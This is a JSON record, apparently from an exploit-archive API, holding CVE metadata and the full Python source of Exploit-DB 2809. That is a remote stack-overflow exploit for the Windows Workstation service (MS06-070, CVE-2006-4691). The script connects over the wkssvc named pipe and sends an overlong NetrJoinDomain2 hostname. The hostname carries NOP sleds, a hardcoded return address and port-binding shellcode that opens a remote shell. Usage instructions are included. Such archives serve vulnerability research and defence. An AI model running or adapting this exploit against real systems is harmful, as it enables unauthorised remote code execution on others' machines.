{"exploit":{"id":"EDB-2809","name":"Microsoft Windows - 'NetpManageIPCConnect' Remote Stack Overflow (MS06-070)","description":"Microsoft Windows - 'NetpManageIPCConnect' Remote Stack Overflow (MS06-070)","cves":["CVE-2006-4691"],"author":"Winny Thomas","published":"2006-11-18","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2809","path":"exploits/windows/remote/2809.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2809.py","vulnerabilities":[{"id":"CVE-2006-4691","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the NetpManageIPCConnect function in the Workstation service (wkssvc.dll) in Microsoft Windows 2000 SP4 and XP SP2 allows remote attackers to execute arbitrary code via NetrJoinDomain2 RPC messages with a long hostname.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4691","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4691"},"updatedAt":"2024-08-07T19:23:40.314Z","retrievedAt":"2026-11-26T19:09:22.340Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2809.png?v=2","url":"https://exploitbin.com/exploits/EDB-2809","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2809/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2809/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# MS06-070 Windows WorkStation NetpManageIPCConnect Vulnerability Exploit\n# Tested on windows 2000 server SP4\n#\n# Usage: python NetAPI-NetrJoinDomain2.py <target ip> <domainname>\n# Requires a domain controller on the network (configure samba as DC)\n# Requires python and impacket\n#\n# Winny M Thomas ;-)\n\n\nfrom impacket.dcerpc import transport\nfrom impacket import uuid\nimport sys\nimport socket\nimport struct\n\ndef DCEconnectAndExploit(target, domain):\n       baselen = 3708\n\n       stringbinding = \"ncacn_np:%(host)s[\\\\pipe\\\\%(pipe)s]\"\n       stringbinding %= {'host': target,'pipe': 'wkssvc','port': 445,}\n\n       print 'Connecting to named pipe (wkssvc)'\n       trans = transport.DCERPCTransportFactory(stringbinding)\n       trans.connect()\n       print 'Setting up DCE transport'\n       dce = trans.DCERPC_class(trans)\n       dce.bind(uuid.uuidtup_to_bin(('6bffd098-a112-3610-9833-46c3f87e345a','1.0')))\n\n       print 'Sending attack payload to target'\n       #NetrJoinDomain2 data: Hostname\n       query1 =  \"\\xaa\\xbb\\xcc\\xdd\"\n       query1 += \"\\x07\\x00\\x00\\x00\"\n       query1 += \"\\x00\\x00\\x00\\x00\"\n       query1 += \"\\x07\\x00\\x00\\x00\"\n       query1 += \"\\x5C\\x00\\x5C\\x00\"\n       query1 += \"\\x41\\x00\\x55\\x00\"\n       query1 += \"\\x58\\x00\\x37\\x00\"\n       query1 += \"\\x00\\x00\\x00\\x00\"\n\n       #NetrJoinDomain2 data: Domain/Hostname\n\n       targetd = '\\x00'.join(list(domain)) + '\\x00'\n       Len = baselen + len(domain)\n       query2 =  struct.pack('L', Len)\n       query2 += struct.pack('L', 0)\n       query2 += struct.pack('L', Len)\n       query2 += targetd\n\n       query3 = \"\\x5C\\x00\\x5C\\x00\\x76\\x00\\x90\\x90\"\n       query3 += \"\\x90\\x90\" * 1058\n       query3 += \"\\xEB\\x06\" #6 byte jump from current pointer in ebx\n       query3 += \"\\x27\\x16\\xE1\\x77\" #Address from user32.dll (0x77E11627)\n       #350 byte port binding shellcode\n       query3 += \"\\x90\\x90\\x90\\x90\\x90\\x90\"\n       query3 += \"\\x33\\xc9\\x83\\xe9\\xb0\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\"\n       query3 += \"\\x13\\xe9\\x59\\x23\\xce\\x83\\xeb\\xfc\\xe2\\xf4\\x15\\x33\\xc8\\x83\"\n       query3 += \"\\x01\\xa0\\xdc\\x31\\x16\\x39\\xa8\\xa2\\xcd\\x7d\\xa8\\x8b\\xd5\\xd2\"\n       query3 += \"\\x5f\\xcb\\x91\\x58\\xcc\\x45\\xa6\\x41\\xa8\\x91\\xc9\\x58\\xc8\\x87\"\n       query3 += \"\\x62\\x6d\\xa8\\xcf\\x07\\x68\\xe3\\x57\\x45\\xdd\\xe3\\xba\\xee\\x98\"\n       query3 += \"\\xe9\\xc3\\xe8\\x9b\\xc8\\x3a\\xd2\\x0d\\x07\\xe6\\x9c\\xbc\\xa8\\x91\"\n       query3 += \"\\xcd\\x58\\xc8\\xa8\\x62\\x55\\x68\\x45\\xb6\\x45\\x22\\x25\\xea\\x75\"\n       query3 += \"\\xa8\\x47\\x85\\x7d\\x3f\\xaf\\x2a\\x68\\xf8\\xaa\\x62\\x1a\\x13\\x45\"\n       query3 += \"\\xa9\\x55\\xa8\\xbe\\xf5\\xf4\\xa8\\x8e\\xe1\\x07\\x4b\\x40\\xa7\\x57\"\n       query3 += \"\\xcf\\x9e\\x16\\x8f\\x45\\x9d\\x8f\\x31\\x10\\xfc\\x81\\x2e\\x50\\xfc\"\n       query3 += \"\\xb6\\x0d\\xdc\\x1e\\x81\\x92\\xce\\x32\\xd2\\x09\\xdc\\x18\\xb6\\xd0\"\n       query3 += \"\\xc6\\xa8\\x68\\xb4\\x2b\\xcc\\xbc\\x33\\x21\\x31\\x39\\x31\\xfa\\xc7\"\n       query3 += \"\\x1c\\xf4\\x74\\x31\\x3f\\x0a\\x70\\x9d\\xba\\x0a\\x60\\x9d\\xaa\\x0a\"\n       query3 += \"\\xdc\\x1e\\x8f\\x31\\x32\\x95\\x8f\\x0a\\xaa\\x2f\\x7c\\x31\\x87\\xd4\"\n       query3 += \"\\x99\\x9e\\x74\\x31\\x3f\\x33\\x33\\x9f\\xbc\\xa6\\xf3\\xa6\\x4d\\xf4\"\n       query3 += \"\\x0d\\x27\\xbe\\xa6\\xf5\\x9d\\xbc\\xa6\\xf3\\xa6\\x0c\\x10\\xa5\\x87\"\n       query3 += \"\\xbe\\xa6\\xf5\\x9e\\xbd\\x0d\\x76\\x31\\x39\\xca\\x4b\\x29\\x90\\x9f\"\n       query3 += \"\\x5a\\x99\\x16\\x8f\\x76\\x31\\x39\\x3f\\x49\\xaa\\x8f\\x31\\x40\\xa3\"\n       query3 += \"\\x60\\xbc\\x49\\x9e\\xb0\\x70\\xef\\x47\\x0e\\x33\\x67\\x47\\x0b\\x68\"\n       query3 += \"\\xe3\\x3d\\x43\\xa7\\x61\\xe3\\x17\\x1b\\x0f\\x5d\\x64\\x23\\x1b\\x65\"\n       query3 += \"\\x42\\xf2\\x4b\\xbc\\x17\\xea\\x35\\x31\\x9c\\x1d\\xdc\\x18\\xb2\\x0e\"\n       query3 += \"\\x71\\x9f\\xb8\\x08\\x49\\xcf\\xb8\\x08\\x76\\x9f\\x16\\x89\\x4b\\x63\"\n       query3 += \"\\x30\\x5c\\xed\\x9d\\x16\\x8f\\x49\\x31\\x16\\x6e\\xdc\\x1e\\x62\\x0e\"\n       query3 += \"\\xdf\\x4d\\x2d\\x3d\\xdc\\x18\\xbb\\xa6\\xf3\\xa6\\x19\\xd3\\x27\\x91\"\n       query3 += \"\\xba\\xa6\\xf5\\x31\\x39\\x59\\x23\\xce\";\n       query3 += \"\\x90\\x90\" * 2467\n       query3 += \"\\x00\\x00\"\n\n       query3 += \"\\x00\\x00\\x00\\x00\"\n       query3 += \"\\x00\\x00\\x00\\x00\"\n       query3 += \"\\x00\\x00\\x00\\x00\"\n       query3 += \"\\x00\\x00\"\n       query3 += \"\\x01\\x00\\x00\\x00\"\n\n       query = query1 + query2 + query3\n       dce.call(0x16, query)\n\nif __name__ == '__main__':\n       try:\n               target = sys.argv[1]\n               domain = sys.argv[2]\n       except IndexError:\n               print 'Usage: %s <target ip> <domain>' % sys.argv[0]\n               sys.exit(-1)\n\n       DCEconnectAndExploit(target, domain)\n\n# milw0rm.com [2006-11-18]","sha256":"d69e8cd44592459aa49143304bddcde90bca7d0e3eacc79659c465b462149927","bytes":4378,"fetchedAt":"2026-11-26T19:09:16.153Z","encoding":"utf-8 (display only; download retains original bytes)"}